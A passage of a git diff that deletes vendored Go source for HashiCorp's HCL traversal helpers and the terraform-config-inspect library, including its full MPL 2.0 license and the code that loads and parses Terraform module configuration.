absolute traversal") -} - -func (tn TraverseRoot) SourceRange() Range { - return tn.SrcRange -} - -// TraverseAttr looks up an attribute in its initial value. -type TraverseAttr struct { - isTraverser - Name string - SrcRange Range -} - -func (tn TraverseAttr) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { - return GetAttr(val, tn.Name, &tn.SrcRange) -} - -func (tn TraverseAttr) SourceRange() Range { - return tn.SrcRange -} - -// TraverseIndex applies the index operation to its initial value. -type TraverseIndex struct { - isTraverser - Key cty.Value - SrcRange Range -} - -func (tn TraverseIndex) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { - return Index(val, tn.Key, &tn.SrcRange) -} - -func (tn TraverseIndex) SourceRange() Range { - return tn.SrcRange -} - -// TraverseSplat applies the splat operation to its initial value. -type TraverseSplat struct { - isTraverser - Each Traversal - SrcRange Range -} - -func (tn TraverseSplat) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { - panic("TraverseSplat not yet implemented") -} - -func (tn TraverseSplat) SourceRange() Range { - return tn.SrcRange -} diff --git a/vendor/github.com/hashicorp/hcl/v2/traversal_for_expr.go b/vendor/github.com/hashicorp/hcl/v2/traversal_for_expr.go deleted file mode 100644 index f69d5fe9b2..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/traversal_for_expr.go +++ /dev/null @@ -1,124 +0,0 @@ -package hcl - -// AbsTraversalForExpr attempts to interpret the given expression as -// an absolute traversal, or returns error diagnostic(s) if that is -// not possible for the given expression. -// -// A particular Expression implementation can support this function by -// offering a method called AsTraversal that takes no arguments and -// returns either a valid absolute traversal or nil to indicate that -// no traversal is possible. Alternatively, an implementation can support -// UnwrapExpression to delegate handling of this function to a wrapped -// Expression object. -// -// In most cases the calling application is interested in the value -// that results from an expression, but in rarer cases the application -// needs to see the the name of the variable and subsequent -// attributes/indexes itself, for example to allow users to give references -// to the variables themselves rather than to their values. An implementer -// of this function should at least support attribute and index steps. -func AbsTraversalForExpr(expr Expression) (Traversal, Diagnostics) { - type asTraversal interface { - AsTraversal() Traversal - } - - physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { - _, supported := expr.(asTraversal) - return supported - }) - - if asT, supported := physExpr.(asTraversal); supported { - if traversal := asT.AsTraversal(); traversal != nil { - return traversal, nil - } - } - return nil, Diagnostics{ - &Diagnostic{ - Severity: DiagError, - Summary: "Invalid expression", - Detail: "A single static variable reference is required: only attribute access and indexing with constant keys. No calculations, function calls, template expressions, etc are allowed here.", - Subject: expr.Range().Ptr(), - }, - } -} - -// RelTraversalForExpr is similar to AbsTraversalForExpr but it returns -// a relative traversal instead. Due to the nature of HCL expressions, the -// first element of the returned traversal is always a TraverseAttr, and -// then it will be followed by zero or more other expressions. -// -// Any expression accepted by AbsTraversalForExpr is also accepted by -// RelTraversalForExpr. -func RelTraversalForExpr(expr Expression) (Traversal, Diagnostics) { - traversal, diags := AbsTraversalForExpr(expr) - if len(traversal) > 0 { - ret := make(Traversal, len(traversal)) - copy(ret, traversal) - root := traversal[0].(TraverseRoot) - ret[0] = TraverseAttr{ - Name: root.Name, - SrcRange: root.SrcRange, - } - return ret, diags - } - return traversal, diags -} - -// ExprAsKeyword attempts to interpret the given expression as a static keyword, -// returning the keyword string if possible, and the empty string if not. -// -// A static keyword, for the sake of this function, is a single identifier. -// For example, the following attribute has an expression that would produce -// the keyword "foo": -// -// example = foo -// -// This function is a variant of AbsTraversalForExpr, which uses the same -// interface on the given expression. This helper constrains the result -// further by requiring only a single root identifier. -// -// This function is intended to be used with the following idiom, to recognize -// situations where one of a fixed set of keywords is required and arbitrary -// expressions are not allowed: -// -// switch hcl.ExprAsKeyword(expr) { -// case "allow": -// // (take suitable action for keyword "allow") -// case "deny": -// // (take suitable action for keyword "deny") -// default: -// diags = append(diags, &hcl.Diagnostic{ -// // ... "invalid keyword" diagnostic message ... -// }) -// } -// -// The above approach will generate the same message for both the use of an -// unrecognized keyword and for not using a keyword at all, which is usually -// reasonable if the message specifies that the given value must be a keyword -// from that fixed list. -// -// Note that in the native syntax the keywords "true", "false", and "null" are -// recognized as literal values during parsing and so these reserved words -// cannot not be accepted as keywords by this function. -// -// Since interpreting an expression as a keyword bypasses usual expression -// evaluation, it should be used sparingly for situations where e.g. one of -// a fixed set of keywords is used in a structural way in a special attribute -// to affect the further processing of a block. -func ExprAsKeyword(expr Expression) string { - type asTraversal interface { - AsTraversal() Traversal - } - - physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { - _, supported := expr.(asTraversal) - return supported - }) - - if asT, supported := physExpr.(asTraversal); supported { - if traversal := asT.AsTraversal(); len(traversal) == 1 { - return traversal.RootName() - } - } - return "" -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/LICENSE b/vendor/github.com/hashicorp/terraform-config-inspect/LICENSE deleted file mode 100644 index 82b4de97c7..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/LICENSE +++ /dev/null @@ -1,353 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. “Contributor” - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. “Contributor Version” - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor’s Contribution. - -1.3. “Contribution” - - means Covered Software of a particular Contributor. - -1.4. “Covered Software” - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. “Incompatible With Secondary Licenses” - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of version - 1.1 or earlier of the License, but not also under the terms of a - Secondary License. - -1.6. “Executable Form” - - means any form of the work other than Source Code Form. - -1.7. “Larger Work” - - means a work that combines Covered Software with other material, in a separate - file or files, that is not Covered Software. - -1.8. “License” - - means this document. - -1.9. “Licensable” - - means having the right to grant, to the maximum extent possible, whether at the - time of the initial grant or subsequently, any and all of the rights conveyed by - this License. - -1.10. “Modifications” - - means any of the following: - - a. any file in Source Code Form that results from an addition to, deletion - from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. “Patent Claims” of a Contributor - - means any patent claim(s), including without limitation, method, process, - and apparatus claims, in any patent Licensable by such Contributor that - would be infringed, but for the grant of the License, by the making, - using, selling, offering for sale, having made, import, or transfer of - either its Contributions or its Contributor Version. - -1.12. “Secondary License” - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. “Source Code Form” - - means the form of the work preferred for making modifications. - -1.14. “You” (or “Your”) - - means an individual or a legal entity exercising rights under this - License. For legal entities, “You” includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, “control” means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or as - part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its Contributions - or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution become - effective for each Contribution on the date the Contributor first distributes - such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under this - License. No additional rights or licenses will be implied from the distribution - or licensing of Covered Software under this License. Notwithstanding Section - 2.1(b) above, no patent license is granted by a Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party’s - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of its - Contributions. - - This License does not grant any rights in the trademarks, service marks, or - logos of any Contributor (except as may be necessary to comply with the - notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this License - (see Section 10.2) or under the terms of a Secondary License (if permitted - under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its Contributions - are its original creation(s) or it has sufficient rights to grant the - rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under applicable - copyright doctrines of fair use, fair dealing, or other equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under the - terms of this License. You must inform recipients that the Source Code Form - of the Covered Software is governed by the terms of this License, and how - they can obtain a copy of this License. You may not attempt to alter or - restrict the recipients’ rights in the Source Code Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this License, - or sublicense it under different terms, provided that the license for - the Executable Form does not attempt to limit or alter the recipients’ - rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for the - Covered Software. If the Larger Work is a combination of Covered Software - with a work governed by one or more Secondary Licenses, and the Covered - Software is not Incompatible With Secondary Licenses, this License permits - You to additionally distribute such Covered Software under the terms of - such Secondary License(s), so that the recipient of the Larger Work may, at - their option, further distribute the Covered Software under the terms of - either this License or such Secondary License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices (including - copyright notices, patent notices, disclaimers of warranty, or limitations - of liability) contained within the Source Code Form of the Covered - Software, except that You may alter any license notices to the extent - required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on behalf - of any Contributor. You must make it absolutely clear that any such - warranty, support, indemnity, or liability obligation is offered by You - alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, judicial - order, or regulation then You must: (a) comply with the terms of this License - to the maximum extent possible; and (b) describe the limitations and the code - they affect. Such description must be placed in a text file included with all - distributions of the Covered Software under this License. Except to the - extent prohibited by statute or regulation, such description must be - sufficiently detailed for a recipient of ordinary skill to be able to - understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing basis, - if such Contributor fails to notify You of the non-compliance by some - reasonable means prior to 60 days after You have come back into compliance. - Moreover, Your grants from a particular Contributor are reinstated on an - ongoing basis if such Contributor notifies You of the non-compliance by - some reasonable means, this is the first time You have received notice of - non-compliance with this License from such Contributor, and You become - compliant prior to 30 days after Your receipt of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, counter-claims, - and cross-claims) alleging that a Contributor Version directly or - indirectly infringes any patent, then the rights granted to You by any and - all Contributors for the Covered Software under Section 2.1 of this License - shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an “as is” basis, without - warranty of any kind, either expressed, implied, or statutory, including, - without limitation, warranties that the Covered Software is free of defects, - merchantable, fit for a particular purpose or non-infringing. The entire - risk as to the quality and performance of the Covered Software is with You. - Should any Covered Software prove defective in any respect, You (not any - Contributor) assume the cost of any necessary servicing, repair, or - correction. This disclaimer of warranty constitutes an essential part of this - License. No use of any Covered Software is authorized under this License - except under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from such - party’s negligence to the extent applicable law prohibits such limitation. - Some jurisdictions do not allow the exclusion or limitation of incidental or - consequential damages, so this exclusion and limitation may not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts of - a jurisdiction where the defendant maintains its principal place of business - and such litigation shall be governed by laws of that jurisdiction, without - reference to its conflict-of-law provisions. Nothing in this Section shall - prevent a party’s ability to bring cross-claims or counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject matter - hereof. If any provision of this License is held to be unenforceable, such - provision shall be reformed only to the extent necessary to make it - enforceable. Any law or regulation which provides that the language of a - contract shall be construed against the drafter shall not be used to construe - this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version of - the License under which You originally received the Covered Software, or - under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a modified - version of this License if you rename the license and remove any - references to the name of the license steward (except to note that such - modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses - If You choose to distribute Source Code Form that is Incompatible With - Secondary Licenses under the terms of this version of the License, the - notice described in Exhibit B of this License must be attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, then -You may include the notice in a location (such as a LICENSE file in a relevant -directory) where a recipient would be likely to look for such a notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - “Incompatible With Secondary Licenses” Notice - - This Source Code Form is “Incompatible - With Secondary Licenses”, as defined by - the Mozilla Public License, v. 2.0. diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/diagnostic.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/diagnostic.go deleted file mode 100644 index d9d2762583..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/diagnostic.go +++ /dev/null @@ -1,138 +0,0 @@ -package tfconfig - -import ( - "fmt" - - legacyhclparser "github.com/hashicorp/hcl/hcl/parser" - "github.com/hashicorp/hcl/v2" -) - -// Diagnostic describes a problem (error or warning) encountered during -// configuration loading. -type Diagnostic struct { - Severity DiagSeverity `json:"severity"` - Summary string `json:"summary"` - Detail string `json:"detail,omitempty"` - - // Pos is not populated for all diagnostics, but when populated should - // indicate a particular line that the described problem relates to. - Pos *SourcePos `json:"pos,omitempty"` -} - -// Diagnostics represents a sequence of diagnostics. This is the type that -// should be returned from a function that might generate diagnostics. -type Diagnostics []Diagnostic - -// HasErrors returns true if there is at least one Diagnostic of severity -// DiagError in the receiever. -// -// If a function returns a Diagnostics without errors then the result can -// be assumed to be complete within the "best effort" constraints of this -// library. If errors are present then the caller may wish to employ more -// caution in relying on the result. -func (diags Diagnostics) HasErrors() bool { - for _, diag := range diags { - if diag.Severity == DiagError { - return true - } - } - return false -} - -func (diags Diagnostics) Error() string { - switch len(diags) { - case 0: - return "no problems" - case 1: - return fmt.Sprintf("%s: %s", diags[0].Summary, diags[0].Detail) - default: - return fmt.Sprintf("%s: %s (and %d other messages)", diags[0].Summary, diags[0].Detail, len(diags)-1) - } -} - -// Err returns an error representing the receiver if the receiver HasErrors, or -// nil otherwise. -// -// The returned error can be type-asserted back to a Diagnostics if needed. -func (diags Diagnostics) Err() error { - if diags.HasErrors() { - return diags - } - return nil -} - -// DiagSeverity describes the severity of a Diagnostic. -type DiagSeverity rune - -// DiagError indicates a problem that prevented proper processing of the -// configuration. In the precense of DiagError diagnostics the result is -// likely to be incomplete. -const DiagError DiagSeverity = 'E' - -// DiagWarning indicates a problem that the user may wish to consider but -// that did not prevent proper processing of the configuration. -const DiagWarning DiagSeverity = 'W' - -// MarshalJSON is an implementation of encoding/json.Marshaler -func (s DiagSeverity) MarshalJSON() ([]byte, error) { - switch s { - case DiagError: - return []byte(`"error"`), nil - case DiagWarning: - return []byte(`"warning"`), nil - default: - return []byte(`"invalid"`), nil - } -} - -func diagnosticsHCL(diags hcl.Diagnostics) Diagnostics { - if len(diags) == 0 { - return nil - } - ret := make(Diagnostics, len(diags)) - for i, diag := range diags { - ret[i] = Diagnostic{ - Summary: diag.Summary, - Detail: diag.Detail, - } - switch diag.Severity { - case hcl.DiagError: - ret[i].Severity = DiagError - case hcl.DiagWarning: - ret[i].Severity = DiagWarning - } - if diag.Subject != nil { - pos := sourcePosHCL(*diag.Subject) - ret[i].Pos = &pos - } - } - return ret -} - -func diagnosticsError(err error) Diagnostics { - if err == nil { - return nil - } - - if posErr, ok := err.(*legacyhclparser.PosError); ok { - pos := sourcePosLegacyHCL(posErr.Pos, "") - return Diagnostics{ - Diagnostic{ - Severity: DiagError, - Summary: posErr.Err.Error(), - Pos: &pos, - }, - } - } - - return Diagnostics{ - Diagnostic{ - Severity: DiagError, - Summary: err.Error(), - }, - } -} - -func diagnosticsErrorf(format string, args ...interface{}) Diagnostics { - return diagnosticsError(fmt.Errorf(format, args...)) -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/doc.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/doc.go deleted file mode 100644 index 1604a6e08a..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/doc.go +++ /dev/null @@ -1,21 +0,0 @@ -// Package tfconfig is a helper library that does careful, shallow parsing of -// Terraform modules to provide access to high-level metadata while -// remaining broadly compatible with configurations targeting various -// different Terraform versions. -// -// This packge focuses on describing top-level objects only, and in particular -// does not attempt any sort of processing that would require access to plugins. -// Currently it allows callers to extract high-level information about -// variables, outputs, resource blocks, provider dependencies, and Terraform -// Core dependencies. -// -// This package only works at the level of single modules. A full configuration -// is a tree of potentially several modules, some of which may be references -// to remote packages. There are some basic helpers for traversing calls to -// modules at relative local paths, however. -// -// This package employs a "best effort" parsing strategy, producing as complete -// a result as possible even though the input may not be entirely valid. The -// intended use-case is high-level analysis and indexing of externally-facing -// module characteristics, as opposed to validating or even applying the module. -package tfconfig diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/filesystem.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/filesystem.go deleted file mode 100644 index 5cdac38687..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/filesystem.go +++ /dev/null @@ -1,41 +0,0 @@ -package tfconfig - -import ( - "io/ioutil" - "os" -) - -// FS represents a minimal filesystem implementation -// See io/fs.FS in http://golang.org/s/draft-iofs-design -type FS interface { - Open(name string) (File, error) - ReadFile(name string) ([]byte, error) - ReadDir(dirname string) ([]os.FileInfo, error) -} - -// File represents an open file in FS -// See io/fs.File in http://golang.org/s/draft-iofs-design -type File interface { - Stat() (os.FileInfo, error) - Read([]byte) (int, error) - Close() error -} - -type osFs struct{} - -func (fs *osFs) Open(name string) (File, error) { - return os.Open(name) -} - -func (fs *osFs) ReadFile(name string) ([]byte, error) { - return ioutil.ReadFile(name) -} - -func (fs *osFs) ReadDir(dirname string) ([]os.FileInfo, error) { - return ioutil.ReadDir(dirname) -} - -// NewOsFs provides a basic implementation of FS for an OS filesystem -func NewOsFs() FS { - return &osFs{} -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load.go deleted file mode 100644 index b990a8d78d..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load.go +++ /dev/null @@ -1,141 +0,0 @@ -package tfconfig - -import ( - "fmt" - "path/filepath" - "strings" - - "github.com/hashicorp/hcl/v2" -) - -// LoadModule reads the directory at the given path and attempts to interpret -// it as a Terraform module. -func LoadModule(dir string) (*Module, Diagnostics) { - return LoadModuleFromFilesystem(NewOsFs(), dir) -} - -// LoadModuleFromFilesystem reads the directory at the given path -// in the given FS and attempts to interpret it as a Terraform module -func LoadModuleFromFilesystem(fs FS, dir string) (*Module, Diagnostics) { - // For broad compatibility here we actually have two separate loader - // codepaths. The main one uses the new HCL parser and API and is intended - // for configurations from Terraform 0.12 onwards (though will work for - // many older configurations too), but we'll also fall back on one that - // uses the _old_ HCL implementation so we can deal with some edge-cases - // that are not valid in new HCL. - - module, diags := loadModule(fs, dir) - if diags.HasErrors() { - // Try using the legacy HCL parser and see if we fare better. - legacyModule, legacyDiags := loadModuleLegacyHCL(fs, dir) - if !legacyDiags.HasErrors() { - legacyModule.init(legacyDiags) - return legacyModule, legacyDiags - } - } - - module.init(diags) - return module, diags -} - -// IsModuleDir checks if the given path contains terraform configuration files. -// This allows the caller to decide how to handle directories that do not have tf files. -func IsModuleDir(dir string) bool { - return IsModuleDirOnFilesystem(NewOsFs(), dir) -} - -// IsModuleDirOnFilesystem checks if the given path in the given FS contains -// Terraform configuration files. This allows the caller to decide -// how to handle directories that do not have tf files. -func IsModuleDirOnFilesystem(fs FS, dir string) bool { - primaryPaths, _ := dirFiles(fs, dir) - if len(primaryPaths) == 0 { - return false - } - return true -} - -func (m *Module) init(diags Diagnostics) { - // Fill in any additional provider requirements that are implied by - // resource configurations, to avoid the caller from needing to apply - // this logic itself. Implied requirements don't have version constraints, - // but we'll make sure the requirement value is still non-nil in this - // case so callers can easily recognize it. - for _, r := range m.ManagedResources { - if _, exists := m.RequiredProviders[r.Provider.Name]; !exists { - m.RequiredProviders[r.Provider.Name] = &ProviderRequirement{} - } - } - for _, r := range m.DataResources { - if _, exists := m.RequiredProviders[r.Provider.Name]; !exists { - m.RequiredProviders[r.Provider.Name] = &ProviderRequirement{} - } - } - - // We redundantly also reference the diagnostics from inside the module - // object, primarily so that we can easily included in JSON-serialized - // versions of the module object. - m.Diagnostics = diags -} - -func dirFiles(fs FS, dir string) (primary []string, diags hcl.Diagnostics) { - infos, err := fs.ReadDir(dir) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Failed to read module directory", - Detail: fmt.Sprintf("Module directory %s does not exist or cannot be read.", dir), - }) - return - } - - var override []string - for _, info := range infos { - if info.IsDir() { - // We only care about files - continue - } - - name := info.Name() - ext := fileExt(name) - if ext == "" || isIgnoredFile(name) { - continue - } - - baseName := name[:len(name)-len(ext)] // strip extension - isOverride := baseName == "override" || strings.HasSuffix(baseName, "_override") - - fullPath := filepath.Join(dir, name) - if isOverride { - override = append(override, fullPath) - } else { - primary = append(primary, fullPath) - } - } - - // We are assuming that any _override files will be logically named, - // and processing the files in alphabetical order. Primaries first, then overrides. - primary = append(primary, override...) - - return -} - -// fileExt returns the Terraform configuration extension of the given -// path, or a blank string if it is not a recognized extension. -func fileExt(path string) string { - if strings.HasSuffix(path, ".tf") { - return ".tf" - } else if strings.HasSuffix(path, ".tf.json") { - return ".tf.json" - } else { - return "" - } -} - -// isIgnoredFile returns true if the given filename (which must not have a -// directory path ahead of it) should be ignored as e.g. an editor swap file. -func isIgnoredFile(name string) bool { - return strings.HasPrefix(name, ".") || // Unix-like hidden files - strings.HasSuffix(name, "~") || // vim - strings.HasPrefix(name, "#") && strings.HasSuffix(name, "#") // emacs -} diff --git a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load_hcl.go b/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load_hcl.go deleted file mode 100644 index 6295e592b4..0000000000 --- a/vendor/github.com/hashicorp/terraform-config-inspect/tfconfig/load_hcl.go +++ /dev/null @@ -1,345 +0,0 @@ -package tfconfig - -import ( - "encoding/json" - "fmt" - "strings" - - "github.com/hashicorp/hcl/v2/hclsyntax" - - "github.com/hashicorp/hcl/v2" - "github.com/hashicorp/hcl/v2/gohcl" - "github.com/hashicorp/hcl/v2/hclparse" - ctyjson "github.com/zclconf/go-cty/cty/json" -) - -func loadModule(fs FS, dir string) (*Module, Diagnostics) { - mod := newModule(dir) - primaryPaths, diags := dirFiles(fs, dir) - - parser := hclparse.NewParser() - - for _, filename := range primaryPaths { - var file *hcl.File - var fileDiags hcl.Diagnostics - - b, err := fs.ReadFile(filename) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Failed to read file", - Detail: fmt.Sprintf("The configuration file %q could not be read.", filename), - }) - continue - } - if strings.HasSuffix(filename, ".json") { - file, fileDiags = parser.ParseJSON(b, filename) - } else { - file, fileDiags = parser.ParseHCL(b, filename) - } - diags = append(diags, fileDiags...) - if file == nil { - continue - } - - content, _, contentDiags := file.Body.PartialContent(rootSchema) - diags = append(diags, contentDiags...) - - for _, block := range content.Blocks { - switch block.Type { - - case "terraform": - content, _, contentDiags := block.Body.PartialContent(terraformBlockSchema) - diags = append(diags, contentDiags...) - - if attr, defined := content.Attributes["required_version"]; defined { - var version string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &version) - diags = append(diags, valDiags...) - if !valDiags.HasErrors() { - mod.RequiredCore = append(mod.RequiredCore, version) - } - } - - for _, innerBlock := range content.Blocks { - switch innerBlock.Type { - case "required_providers": - reqs, reqsDiags := decodeRequiredProvidersBlock(innerBlock) - diags = append(diags, reqsDiags...) - for name, req := range reqs { - if _, exists := mod.RequiredProviders[name]; !exists { - mod.RequiredProviders[name] = req - } else { - if req.Source != "" { - source := mod.RequiredProviders[name].Source - if source != "" && source != req.Source { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Multiple provider source attributes", - Detail: fmt.Sprintf("Found multiple source attributes for provider %s: %q, %q", name, source, req.Source), - Subject: &innerBlock.DefRange, - }) - } else { - mod.RequiredProviders[name].Source = req.Source - } - } - - mod.RequiredProviders[name].VersionConstraints = append(mod.RequiredProviders[name].VersionConstraints, req.VersionConstraints...) - } - } - } - } - - case "variable": - content, _, contentDiags := block.Body.PartialContent(variableSchema) - diags = append(diags, contentDiags...) - - name := block.Labels[0] - v := &Variable{ - Name: name, - Pos: sourcePosHCL(block.DefRange), - } - - mod.Variables[name] = v - - if attr, defined := content.Attributes["type"]; defined { - // We handle this particular attribute in a somewhat-tricky way: - // since Terraform may evolve its type expression syntax in - // future versions, we don't want to be overly-strict in how - // we handle it here, and so we'll instead just take the raw - // source provided by the user, using the source location - // information in the expression object. - // - // However, older versions of Terraform expected the type - // to be a string containing a keyword, so we'll need to - // handle that as a special case first for backward compatibility. - - var typeExpr string - - var typeExprAsStr string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &typeExprAsStr) - if !valDiags.HasErrors() { - typeExpr = typeExprAsStr - } else { - - rng := attr.Expr.Range() - sourceFilename := rng.Filename - source, exists := parser.Sources()[sourceFilename] - if exists { - typeExpr = string(rng.SliceBytes(source)) - } else { - // This should never happen, so we'll just warn about it and leave the type unspecified. - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Source code not available", - Detail: fmt.Sprintf("Source code is not available for the file %q, which declares the variable %q.", sourceFilename, name), - Subject: &block.DefRange, - }) - typeExpr = "" - } - - } - - v.Type = typeExpr - } - - if attr, defined := content.Attributes["description"]; defined { - var description string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &description) - diags = append(diags, valDiags...) - v.Description = description - } - - if attr, defined := content.Attributes["default"]; defined { - // To avoid the caller needing to deal with cty here, we'll - // use its JSON encoding to convert into an - // approximately-equivalent plain Go interface{} value - // to return. - val, valDiags := attr.Expr.Value(nil) - diags = append(diags, valDiags...) - if val.IsWhollyKnown() { // should only be false if there are errors in the input - valJSON, err := ctyjson.Marshal(val, val.Type()) - if err != nil { - // Should never happen, since all possible known - // values have a JSON mapping. - panic(fmt.Errorf("failed to serialize default value as JSON: %s", err)) - } - var def interface{} - err = json.Unmarshal(valJSON, &def) - if err != nil { - // Again should never happen, because valJSON is - // guaranteed valid by ctyjson.Marshal. - panic(fmt.Errorf("failed to re-parse default value from JSON: %s", err)) - } - v.Default = def - } - } else { - v.Required = true - } - - case "output": - - content, _, contentDiags := block.Body.PartialContent(outputSchema) - diags = append(diags, contentDiags...) - - name := block.Labels[0] - o := &Output{ - Name: name, - Pos: sourcePosHCL(block.DefRange), - } - - mod.Outputs[name] = o - - if attr, defined := content.Attributes["description"]; defined { - var description string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &description) - diags = append(diags, valDiags...) - o.Description = description - } - - case "provider": - - content, _, contentDiags := block.Body.PartialContent(providerConfigSchema) - diags = append(diags, contentDiags...) - - name := block.Labels[0] - // Even if there isn't an explicit version required, we still - // need an entry in our map to signal the unversioned dependency. - if _, exists := mod.RequiredProviders[name]; !exists { - mod.RequiredProviders[name] = &ProviderRequirement{} - } - if attr, defined := content.Attributes["version"]; defined { - var version string - valDiags := gohcl.DecodeExpression(attr.Expr, nil, &version) - diags = append(diags, valDiags...) - if !valDiags.HasErrors() { - mod.RequiredProviders[name].VersionConstraints = append(mod.RequiredProviders[name].VersionConstraints, version) - } - } - - case "resource", "data": - - content, _, contentDiags := 